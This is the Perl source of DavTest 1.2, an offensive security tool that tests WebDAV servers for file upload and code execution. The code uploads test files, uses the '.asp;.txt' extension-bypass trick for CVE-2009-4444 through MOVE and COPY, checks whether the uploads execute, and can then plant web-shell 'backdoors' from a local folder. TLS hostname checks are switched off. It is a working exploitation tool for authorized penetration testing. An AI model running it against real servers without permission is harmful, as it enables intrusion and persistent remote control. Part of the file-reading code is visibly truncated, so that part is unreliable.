useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | ######################################################################## 18 | # 1.2 Author: RewardOne (github.com/rewardone) 19 | # 1.1 Author: Paulino Calderon (calderon[at]websec[.]mx) 20 | # 1.0 Author: Chris Sullo (csullo [at] sunera [.] com) 21 | # http://security.sunera.com/ 22 | # 23 | # Program Name: DavTest 24 | # Purpose: Perform upload testing of WebDAV enabled servers 25 | # Version: 1.2 26 | # Code Repo: 27 | # Dependencies: 28 | # HTTP::DAV 29 | # HTTP::Request 30 | # Getopt::Long 31 | # 32 | # CHANGELOG: 33 | # 1.2 - Added initial MOVE and COPY support. Added bypass testing for CVE-2009-4444 34 | # 1.1 - Fixed auth and added realm support 35 | # 36 | # Known Bugs / Defficiencies: 37 | # Auth support for bypass raw_exec_check not implemented nor tested 38 | # Backdoor/Uploadfile functionality using MOVE/COPY bypass not implemented 39 | # Workaround: send your request and manually issue MOVE/COPY 40 | # Running -move and -copy at the same time results in 401 Not Authorized. 41 | # Workaround: run modes separately 42 | # 43 | ######################################################################## 44 | 45 | use strict; 46 | use HTTP::DAV; 47 | use HTTP::Request; 48 | use Getopt::Long; 49 | use Net::SSL; 50 | use Crypt::SSLeay; 51 | 52 | # cli options 53 | use vars qw/%OPTIONS %RESULTS $dav/; 54 | parse_options(); 55 | 56 | # initial values 57 | my $filesid = new_sid($OPTIONS{'rand'}); 58 | my %tests = generate_tests($filesid); 59 | $RESULTS{'havesuccess'} = 0; 60 | $RESULTS{'createddir'} = 0; 61 | 62 | ########################################### 63 | # Test connection 64 | print "********************************************************\n" unless $OPTIONS{'quiet'}; 65 | print " Testing DAV connection\n" unless $OPTIONS{'quiet'}; 66 | $dav = HTTP::DAV->new(); 67 | $dav->get_user_agent->ssl_opts(verify_hostname => 0); 68 | 69 | if ($OPTIONS{'debug'} ne '') { 70 | $dav->DebugLevel($OPTIONS{'debug'}); 71 | } 72 | 73 | if ($OPTIONS{'user'} ne '') { 74 | set_creds($OPTIONS{'url'}, $OPTIONS{'user'}, $OPTIONS{'pass'}, $OPTIONS{'realm'}); 75 | } 76 | 77 | if ($dav->open(-url => $OPTIONS{'url'})) { 78 | print "OPEN\t\tSUCCEED:\t\t$OPTIONS{'url'}\n" unless $OPTIONS{'quiet'}; 79 | } 80 | else { 81 | print STDERR "OPEN\t\tFAIL:\t$OPTIONS{'url'}\t" . $dav->message . "\n"; 82 | exit; 83 | } 84 | 85 | ########################################### 86 | if ($OPTIONS{'uploadfile'} ne '') { 87 | print "********************************************************\n unless $OPTIONS{'quiet'}"; 88 | print " Uploading file\n" unless $OPTIONS{'quiet'}; 89 | if (put_local_file("$OPTIONS{'url'}/$OPTIONS{'uploadloc'}", $OPTIONS{'uploadfile'})) { 90 | print "Upload succeeded: $OPTIONS{'url'}/$OPTIONS{'uploadloc'}\n"; 91 | } 92 | else { 93 | print STDERR "Upload failed: " . $dav->message . "\n"; 94 | } 95 | exit; 96 | } 97 | 98 | ########################################### 99 | # let user know the sid 100 | print "********************************************************\n" unless $OPTIONS{'quiet'}; 101 | print "NOTE\tRandom string for this session: $filesid\n" unless $OPTIONS{'quiet'}; 102 | 103 | # Make new directory 104 | if ($OPTIONS{'createdir'}) { 105 | print "********************************************************\n" unless $OPTIONS{'quiet'}; 106 | print " Creating directory\n" unless $OPTIONS{'quiet'}; 107 | if ($OPTIONS{'newdir'} eq '') { 108 | $OPTIONS{'newdir'} = "DavTestDir_" . $filesid; 109 | } 110 | else { 111 | $OPTIONS{'newdir'} = $OPTIONS{'newdir'}; 112 | } 113 | my $newbase = $OPTIONS{'url'}; 114 | if ($dav->mkcol(-url => "$OPTIONS{'url'}/$OPTIONS{'newdir'}")) { 115 | print "MKCOL\t\tSUCCEED:\t\tCreated $OPTIONS{'url'}/$OPTIONS{'newdir'}\n" 116 | unless $OPTIONS{'quiet'}; 117 | $RESULTS{'summary'} .= "Created: $OPTIONS{'url'}/$OPTIONS{'newdir'}\n"; 118 | $newbase = "$OPTIONS{'url'}/$OPTIONS{'newdir'}"; 119 | $RESULTS{'createddir'} = 1; 120 | } 121 | else { 122 | print "MKCOL\t\tFAIL\n"; 123 | } 124 | 125 | # close old conn 126 | $dav->unlock(-url => $OPTIONS{'url'}); 127 | $OPTIONS{'url'} = $newbase; 128 | 129 | # reopen new base 130 | if ($OPTIONS{'user'} ne '') { 131 | set_creds($OPTIONS{'url'}, $OPTIONS{'user'}, $OPTIONS{'pass'}, $OPTIONS{'realm'}); 132 | } 133 | 134 | if (!$dav->open(-url => $OPTIONS{'url'})) { 135 | print STDERR "OPEN\t\tFAIL\tFailed to open new base $OPTIONS{'url'}\n"; 136 | exit; 137 | } 138 | } 139 | 140 | ########################################### 141 | # put test files 142 | if (!$OPTIONS{'move'} && !$OPTIONS{'copy'}) { 143 | print "********************************************************\n" unless $OPTIONS{'quiet'}; 144 | print " Sending test files\n" unless $OPTIONS{'quiet'}; 145 | foreach my $type (keys %tests) { 146 | if (put_file("$OPTIONS{'url'}/$tests{$type}->{'filename'}", $tests{$type}->{'content'})) { 147 | print "PUT\t$type\tSUCCEED:\t$OPTIONS{'url'}/$tests{$type}->{'filename'}\n" 148 | unless $OPTIONS{'quiet'}; 149 | $RESULTS{'summary'} .= "PUT File: $OPTIONS{'url'}/$tests{$type}->{'filename'}\n"; 150 | $RESULTS{'havesuccess'} = 1; 151 | $tests{$type}->{'result'} = 1; 152 | } 153 | else { 154 | print "PUT\t$type\tFAIL\n" unless $OPTIONS{'quiet'}; 155 | } 156 | } 157 | } 158 | 159 | ########################################### 160 | # put test files via move 161 | if ($OPTIONS{'move'}) { 162 | print "********************************************************\n" unless $OPTIONS{'quiet'}; 163 | print " Sending test files (MOVE method)\n" unless $OPTIONS{'quiet'}; 164 | foreach my $type (keys %tests) { 165 | my $oext = get_ext($tests{$type}->{'filename'}); 166 | my $txtfile = $tests{$type}->{'filename'}; 167 | $txtfile =~ s/\.$oext$/_$oext\.txt/; 168 | my $bypassfile = $tests{$type}->{'filename'}; 169 | $bypassfile =~ s/\.$oext$/\.$oext\;\.txt/; 170 | 171 | if (put_file("$OPTIONS{'url'}/$txtfile", $tests{$type}->{'content'})) { 172 | print "PUT\ttxt\tSUCCEED:\t$OPTIONS{'url'}/$txtfile\n" unless $OPTIONS{'quiet'}; 173 | 174 | # now move it 175 | if (move_file("$OPTIONS{'url'}/$txtfile", $tests{$type}->{'filename'})) { 176 | print "MOVE\t$type\tSUCCEED:\t$OPTIONS{'url'}/$tests{$type}->{'filename'}\n" 177 | unless $OPTIONS{'quiet'}; 178 | $RESULTS{'summary'} .= 179 | "MOVE/PUT File: $OPTIONS{'url'}/$tests{$type}->{'filename'}\n"; 180 | $RESULTS{'havesuccess'} = 1; 181 | $tests{$type}->{'result'} = 1; 182 | } 183 | else { 184 | print STDERR "MOVE\t$type\tFAIL\n"; 185 | } 186 | } 187 | else { 188 | print "PUT\t$type\tFAIL\n" unless $OPTIONS{'quiet'}; 189 | } 190 | 191 | # I don't know perl, so this is not optimized 192 | # PUT the file again in case the last MOVE succeeded (original file would no longer exist) 193 | if (put_file("$OPTIONS{'url'}/$txtfile", $tests{$type}->{'content'})) { 194 | #Comment to decrease noise. If first PUT fails, this will too. 195 | #print "PUT\ttxt\tSUCCEED:\t$OPTIONS{'url'}/$txtfile\n" unless $OPTIONS{'quiet'}; 196 | 197 | # now move it 198 | if (move_file("$OPTIONS{'url'}/$txtfile", $bypassfile)) { 199 | print "MOVE\t$type\tSUCCEED:\t$OPTIONS{'url'}/$bypassfile\n" 200 | unless $OPTIONS{'quiet'}; 201 | $RESULTS{'summary'} .= 202 | "MOVE/PUT File: $OPTIONS{'url'}/$bypassfile\n"; 203 | $RESULTS{'havesuccess'} = 1; 204 | $tests{$type}->{'result'} = 1; 205 | } 206 | else { 207 | print STDERR "MOVE\t$type\tFAIL\t\tWITH BYPASS\n"; 208 | } 209 | } 210 | else { 211 | #Comment to decrease noise. If first PUT fails, this will too. 212 | #print "PUT\t$type\tFAIL\n" unless $OPTIONS{'quiet'}; 213 | } 214 | } 215 | } 216 | 217 | ########################################### 218 | # put test files via copy 219 | if ($OPTIONS{'copy'}) { 220 | print "********************************************************\n" unless $OPTIONS{'quiet'}; 221 | print " Sending test files (COPY method)\n" unless $OPTIONS{'quiet'}; 222 | foreach my $type (keys %tests) { 223 | my $oext = get_ext($tests{$type}->{'filename'}); 224 | my $txtfile = $tests{$type}->{'filename'}; 225 | $txtfile =~ s/\.$oext$/_$oext\.txt/; 226 | my $bypassfile = $tests{$type}->{'filename'}; 227 | $bypassfile =~ s/\.$oext$/\.$oext\;\.txt/; 228 | 229 | if (put_file("$OPTIONS{'url'}/$txtfile", $tests{$type}->{'content'})) { 230 | print "PUT\ttxt\tSUCCEED:\t$OPTIONS{'url'}/$txtfile\n" unless $OPTIONS{'quiet'}; 231 | 232 | # now copy it 233 | if (copy_file("$OPTIONS{'url'}/$txtfile", $tests{$type}->{'filename'})) { 234 | print "COPY\t$type\tSUCCEED:\t$OPTIONS{'url'}/$tests{$type}->{'filename'}\n" 235 | unless $OPTIONS{'quiet'}; 236 | $RESULTS{'summary'} .= 237 | "COPY/PUT File: $OPTIONS{'url'}/$tests{$type}->{'filename'}\n"; 238 | $RESULTS{'havesuccess'} = 1; 239 | $tests{$type}->{'result'} = 1; 240 | } 241 | else { 242 | print STDERR "COPY\t$type\tFAIL\n"; 243 | } 244 | 245 | # now copy it 246 | if (copy_file("$OPTIONS{'url'}/$txtfile", $bypassfile)) { 247 | print "COPY\t$type\tSUCCEED:\t$OPTIONS{'url'}/$bypassfile\n" 248 | unless $OPTIONS{'quiet'}; 249 | $RESULTS{'summary'} .= 250 | "COPY/PUT File: $OPTIONS{'url'}/$bypassfile\n"; 251 | $RESULTS{'havesuccess'} = 1; 252 | $tests{$type}->{'result'} = 1; 253 | } 254 | else { 255 | print STDERR "COPY\t$type\tFAIL\t\tWITH BYPASS\n"; 256 | } 257 | } 258 | else { 259 | print "PUT\t$type\tFAIL\n" unless $OPTIONS{'quiet'}; 260 | } 261 | } 262 | } 263 | 264 | ########################################### 265 | # Check to see if code executed 266 | if ($RESULTS{'havesuccess'}) { 267 | print "********************************************************\n" unless $OPTIONS{'quiet'}; 268 | print " Checking for test file execution\n" unless $OPTIONS{'quiet'}; 269 | foreach my $type (keys %tests) { 270 | if ($tests{$type}->{'result'} eq 1) { 271 | my $oext = get_ext($tests{$type}->{'filename'}); 272 | my $bypassfile = $tests{$type}->{'filename'}; 273 | $bypassfile =~ s/\.$oext$/\.$oext\;\.txt/; 274 | if (check_exec("$OPTIONS{'url'}/$tests{$type}->{'filename'}", 275 | $tests{$type}->{'execmatch'} 276 | ) 277 | ) { 278 | $tests{$type}->{'execute'} = 1; 279 | print "EXEC\t$type\tSUCCEED:\t$OPTIONS{'url'}/$tests{$type}->{'filename'}\n" 280 | unless $OPTIONS{'quiet'}; 281 | $RESULTS{'summary'} .= "Executes: $OPTIONS{'url'}/$tests{$type}->{'filename'}\n"; 282 | } 283 | if (check_exec("$OPTIONS{'url'}/$bypassfile", 284 | $tests{$type}->{'execmatch'} 285 | ) || 286 | raw_check_exec("$OPTIONS{'url'}/$bypassfile", 287 | $tests{$type}->{'execmatch'} 288 | ) 289 | ) { 290 | $tests{$type}->{'execute'} = 1; 291 | print "EXEC\t$type\tSUCCEED:\t$OPTIONS{'url'}/$bypassfile\n" 292 | unless $OPTIONS{'quiet'}; 293 | $RESULTS{'summary'} .= "Executes: $OPTIONS{'url'}/$bypassfile\n"; 294 | } 295 | else { 296 | $tests{$type}->{'execute'} = 0; 297 | print "EXEC\t$type\tFAIL\n" unless $OPTIONS{'quiet'}; 298 | } 299 | } 300 | else { 301 | $tests{$type}->{'execute'} = 0; 302 | } 303 | } 304 | } 305 | 306 | ########################################### 307 | # Create shells 308 | if ($OPTIONS{'sendbackdoors'} ne '') { 309 | print "********************************************************\n" unless $OPTIONS{'quiet'}; 310 | print " Sending backdoors\n" unless $OPTIONS{'quiet'}; 311 | foreach my $type (keys %tests) { 312 | if ($tests{$type}->{'execute'} eq 1) { 313 | if (($OPTIONS{'sendbackdoors'} eq $type) || ($OPTIONS{'sendbackdoors'} eq 'auto')) { 314 | my @files = dirlist("backdoors/", ".*\.$type"); 315 | if ($files[0] eq '') { 316 | print STDERR "** ERROR: Unable to find a backdoor for $type **\n" 317 | unless $OPTIONS{'quiet'}; 318 | } 319 | else { 320 | for (my $i = 0 ; $i <= $#files ; $i++) { 321 | if ($OPTIONS{'move'}) { 322 | my $oext = get_ext($files[$i]); 323 | my $txtfile = $filesid . $files[$i]; 324 | if ($filesid ne '') { $txtfile = $filesid . "_" . $txtfile; } 325 | $txtfile =~ s/\.$oext$/_$oext\.txt/; 326 | if (put_local_file("$OPTIONS{'url'}/$txtfile", "backdoors/$files[$i]")) 327 | { 328 | print "PUT\ttxt\tSUCCEED:\t$OPTIONS{'url'}/$txtfile\n" 329 | unless $OPTIONS{'quiet'}; 330 | 331 | # now move it 332 | if (move_file("$OPTIONS{'url'}/$txtfile", 333 | "$OPTIONS{'url'}/$files[$i]" 334 | ) 335 | ) { 336 | print 337 | "MOVE Shell:\t$type\tSUCCEED:\t$OPTIONS{'url'}/$files[$i]\n" 338 | unless $OPTIONS{'quiet'}; 339 | $RESULTS{'summary'} .= 340 | "MOVE/PUT Shell: $OPTIONS{'url'}/$files[$i]\n"; 341 | $RESULTS{'backdoors'} = 1; 342 | } 343 | else { 344 | print STDERR "MOVE\t$type\tFAIL\n"; 345 | } 346 | } 347 | 348 | } 349 | else { 350 | my $putfile = $files[$i]; 351 | if ($filesid ne '') { $putfile = $filesid . "_" . $putfile; } 352 | if (put_local_file("$OPTIONS{'url'}/$putfile", "backdoors/$files[$i]")) 353 | { 354 | print "PUT Shell:\t$type\tSUCCEED:\t$OPTIONS{'url'}/$putfile\n" 355 | unless $OPTIONS{'quiet'}; 356 | $RESULTS{'summary'} .= "PUT Shell: $OPTIONS{'url'}/$putfile\n"; 357 | $RESULTS{'backdoors'} = 1; 358 | } 359 | } 360 | } 361 | } 362 | } 363 | } 364 | } 365 | } 366 | 367 | ########################################### 368 | # cleanup 369 | if ($OPTIONS{'cleanup'}) { 370 | print "********************************************************\n" unless $OPTIONS{'quiet'}; 371 | print " Cleaning up\n" unless $OPTIONS{'quiet'}; 372 | if ($RESULTS{'createddir'} && !($RESULTS{'backdoors'})) { 373 | if (delete_file($OPTIONS{'url'})) { 374 | print "DELETE\t\tSUCCEED:\t$OPTIONS{'url'}\n" unless $OPTIONS{'quiet'}; 375 | $RESULTS{'summary'} .= "DELETED: $OPTIONS{'url'}\n"; 376 | } 377 | else { 378 | print STDERR "DELETE\t\tFAIL:\t$OPTIONS{'url'}\n"; 379 | } 380 | } 381 | else { 382 | foreach my $type (keys %tests) { 383 | 384 | # only try if test succeeded 385 | if ($tests{$type}->{'result'} eq 1) { 386 | if (delete_file("$OPTIONS{'url'}/$tests{$type}->{'filename'}")) { 387 | print "DELETE\t$type\tSUCCEED:\t$OPTIONS{'url'}/$tests{$type}->{'filename'}\n" 388 | unless $OPTIONS{'quiet'}; 389 | $RESULTS{'summary'} .= "DELETED: $OPTIONS{'url'}/$tests{$type}->{'filename'}\n"; 390 | } 391 | else { 392 | print STDERR "DELETE\t$type\tFAIL\n"; 393 | } 394 | } 395 | } 396 | } 397 | } 398 | 399 | $dav->unlock(-url => $OPTIONS{'url'}); 400 | 401 | # Summary 402 | print "\n"; 403 | print "********************************************************\n" unless $OPTIONS{'quiet'}; 404 | print "$0 Summary:\n"; 405 | print $RESULTS{'summary'} . "\n"; 406 | 407 | exit; 408 | 409 | ########################################### 410 | sub dirlist { 411 | my $DIR = $_[0] || return; 412 | my $PATTERN = $_[1] || ""; 413 | my @FILES_TMP = (); 414 | 415 | opendir(DIRECTORY, $DIR) || die print STDERR "** ERROR: Can't open directory '$DIR': $@ **\n"; 416 | foreach my $file (readdir(DIRECTORY)) { 417 | if ($file =~ /^\./) { next; } # skip hidden files, '.' and '..' 418 | if ($PATTERN ne "") { 419 | if ($file =~ /$PATTERN/) { push(@FILES_TMP, $file); } 420 | } 421 | else { push(@FILES_TMP, $file); } 422 | } 423 | closedir(DIRECTORY); 424 | return @FILES_TMP; 425 | } 426 | 427 | ########################################### 428 | sub set_creds { 429 | my $url = $_[0] || return; 430 | my $id = $_[1] || return; 431 | my $pw = $_[2]; 432 | my $realm = $_[3]; 433 | $dav->credentials(-url => $url, -user => $id, -pass => $pw, -realm => $realm); 434 | return; 435 | } 436 | 437 | ########################################### 438 | sub move_file { 439 | my $sourcefile = $_[0] || return 0; 440 | my $targetfile = $_[1] || return 0; 441 | $dav->move($sourcefile, $targetfile) || return 0; 442 | return 1; 443 | } 444 | 445 | ########################################### 446 | sub copy_file { 447 | my $sourcefile = $_[0] || return 0; 448 | my $targetfile = $_[1] || return 0; 449 | $dav->copy($sourcefile, $targetfile) || return 0; 450 | return 1; 451 | } 452 | 453 | ########################################### 454 | sub get_ext { 455 | my $file = $_[0] || return; 456 | $file =~ s/^.*\.//; 457 | return $file; 458 | } 459 | 460 | ########################################### 461 | sub check_exec { 462 | my $url = $_[0] || return 0; 463 | my $match = $_[1] || return 0; 464 | my $contents = ""; 465 | $dav->get($url, \$contents); 466 | if ($contents =~ /$match/) { 467 | return 1; 468 | } 469 | return 0; 470 | } 471 | 472 | ########################################### 473 | #I was only able to test this for the bypass technique 474 | #Reasoning: 475 | # The check_exec function uses HTTP::Dav, which sends a PROPFIND 476 | # request before a GET request. PROPFIND can result in a status 477 | # 403 response when checking for bypassed files (.asp;.txt). This 478 | # causes check_exec to never send a GET request and can miss pages 479 | # that are indeed executable. 480 | #Not Optimized: 481 | # raw_check_exec strips HTML tags. When bypassed, the asp page was 482 | # returning 49.92 and therefore was not reported as 483 | # success (match is only on 49.92). 484 | #No Authentication: 485 | # Did not spend time adding the headers for auth, but it 'should' 486 | # be simple. 487 | sub raw_check_exec { 488 | my $url = $_[0] || return 0; 489 | my $match = $_[1] || return 0; 490 | my $contents = ""; 491 | #my $header = stuff here for authenticated DavTests 492 | my $request = HTTP::Request->new("GET",$url); 493 | my $ua = LWP::UserAgent->new; 494 | my $response = $ua->request($request); 495 | if ($response->is_success) { 496 | my $htmlCode = $response->decoded_content; 497 | $htmlCode =~ s|<.+?>||g; 498 | if ($htmlCode =~ /$match/) { 499 | return 1; 500 | } 501 | } 502 | else { 503 | return 0; 504 | } 505 | return 0; 506 | } 507 | 508 | ########################################### 509 | sub put_local_file { 510 | my $url = $_[0] || return 0; 511 | my $filepath = $_[1] || return 0; 512 | if (!-r $filepath) { 513 | print STDERR "** ERROR: $filepath does not exist **\n"; 514 | exit; 515 | } 516 | $dav->put(-local => $filepath, -url => $url) or return 0; 517 | return 1; 518 | } 519 | 520 | ########################################### 521 | sub put_file { 522 | my $url = $_[0] || return 0; 523 | my $content = $_[1] || return 0; 524 | $dav->put(-local => \$content, -url => $url) or return 0; 525 | return 1; 526 | } 527 | 528 | ########################################### 529 | sub delete_file { 530 | my $url = $_[0] || return 0; 531 | $dav->delete(-url => $url) or return 0; 532 | return 1; 533 | } 534 | 535 | ########################################### 536 | sub generate_tests { 537 | my $sid = $_[0]; 538 | my %tests; 539 | 540 | my @files = dirlist("tests/", ".*\.txt"); 541 | foreach my $file (@files) { 542 | open(TESTFILE, "{'filename'} = "davtest_" . $sid . "." . $type; 546 | $tests{$type}->{'result'} = 0; 547 | $tests{$type}->{'execute'} = 0; 548 | 549 | while () { 550 | if ($_ =~ /^#/) { next; } 551 | chomp; 552 | $_ =~ /^([^=]+)=(.*)$/; 553 | my $key = $1; 554 | my $value = $2; 555 | if (($key eq '') || ($value eq '')) { 556 | delete $tests{$type}; 557 | print STDERR "** ERROR: 'tests/$file' is not a valid test file **\n"; 558 | next; 559 | } 560 | 561 | # token: $$FILENAME$$ = 'filename' 562 | $value =~ s/\$\$FILENAME\$\$/$tests{$type}->{'filename'}/gms; 563 | 564 | # embedded newline (perl especailly) 565 | $value =~ s/\\n/\n/g; 566 | 567 | $tests{$type}->{$key} = $value; 568 | } 569 | close(TESTFILE); 570 | if (($tests{$type}->{'content'} eq '') || ($tests{$type}->{'execmatch'} eq '')) { 571 | print STDERR "** ERROR: 'tests/$file' is not a valid test file **\n"; 572 | delete $tests{$type}; 573 | } 574 | } 575 | return %tests; 576 | } 577 | 578 | ########################################### 579 | sub usage { 580 | print "$_[0]\n"; 581 | print "$0 -url [options]\n"; 582 | print "\n"; 583 | print " -auth+ Authorization (user:password)\n"; 584 | print " -realm+ Auth Realm\n"; 585 | print " -cleanup delete everything uploaded when done\n"; 586 | print " -directory+ postfix portion of directory to create\n"; 587 | print " -debug+ DAV debug level 1-3 (2 & 3 log req/resp to /tmp/perldav_debug.txt)\n"; 588 | print " -move PUT text files then MOVE to executable\n"; 589 | print " -copy PUT text files then COPY to executable\n"; 590 | print " -nocreate don't create a directory\n"; 591 | print " -quiet only print out summary\n"; 592 | print " -rand+ use this instead of a random string for filenames\n"; 593 | print " -sendbd+ send backdoors:\n"; 594 | print " auto - for any succeeded test\n"; 595 | print " ext - extension matching file name(s) in backdoors/ dir\n"; 596 | print " -uploadfile+ upload this file (requires -uploadloc)\n"; 597 | print " -uploadloc+ upload file to this relative location/name (requires -uploadfile)\n"; 598 | print " -url+ url of DAV location\n"; 599 | print "\n"; 600 | print "Example: $0 -url http://localhost/davdir\n"; 601 | print "\n"; 602 | exit; 603 | } 604 | 605 | ########################################### 606 | sub new_sid { 607 | if ($_[0] ne '') { return $_[0]; } 608 | my @chars = ('a' .. 'z', 'A' .. 'Z', '0' .. '9', '_'); 609 | my $random_string; 610 | foreach (0 .. (rand(10) + 5)) { 611 | $random_string .= $chars[ rand @chars ]; 612 | } 613 | return $random_string; 614 | } 615 | 616 | ########################################### 617 | sub parse_options { 618 | GetOptions("nocreate" => \$OPTIONS{'createdir'}, 619 | "cleanup" => \$OPTIONS{'cleanup'}, 620 | "debug=s" => \$OPTIONS{'debug'}, 621 | "move" => \$OPTIONS{'move'}, 622 | "copy" => \$OPTIONS{'copy'}, 623 | "rand=s" => \$OPTIONS{'rand'}, 624 | "sendbd=s" => \$OPTIONS{'sendbackdoors'}, 625 | "uploadfile=s" => \$OPTIONS{'uploadfile'}, 626 | "uploadloc=s" => \$OPTIONS{'uploadloc'}, 627 | "directory=s" => \$OPTIONS{'newdir'}, 628 | "quiet" => \$OPTIONS{'quiet'}, 629 | "auth=s" => \$OPTIONS{'authstring'}, 630 | "realm=s" => \$OPTIONS{'realm'}, 631 | "url=s" => \$OPTIONS{'url'} 632 | ) || die usage("^^^^^^^^^^^^^^ ERROR ^^^^^^^^^^^^^^\n"); 633 | 634 | # requirements / conflicts 635 | if ($OPTIONS{'url'} eq '') { usage("\nERROR: Missing -url\n"); } 636 | if (($OPTIONS{'uploadfile'} ne '') && ($OPTIONS{'uploadloc'} eq '')) { 637 | usage("\nERROR: Missing -uploadloc\n"); 638 | } 639 | if (($OPTIONS{'uploadfile'} eq '') && ($OPTIONS{'uploadloc'} ne '')) { 640 | usage("\nERROR: Missing -uploadfile\n"); 641 | } 642 | if (($OPTIONS{'debug'} ne '') && ($OPTIONS{'debug'} !~ /^(?:1|2|3)$/)) { 643 | usage("\nERROR: Invalid debug setting\n"); 644 | } 645 | 646 | # authstring 647 | if ($OPTIONS{'authstring'} ne '') { 648 | my @temp = split(/:/, $OPTIONS{'authstring'}); 649 | $OPTIONS{'user'} = $temp[0]; 650 | $OPTIONS{'pass'} = $temp[1]; 651 | } 652 | 653 | # swap the bool logic on this one 654 | if ($OPTIONS{'createdir'}) { $OPTIONS{'createdir'} = 0; } 655 | else { $OPTIONS{'createdir'} = 1; } 656 | 657 | $OPTIONS{'url'} =~ s/\/$//; 658 | $OPTIONS{'newdir'} =~ s/\/$//; 659 | } 660 | --------------------------------------------------------------------------------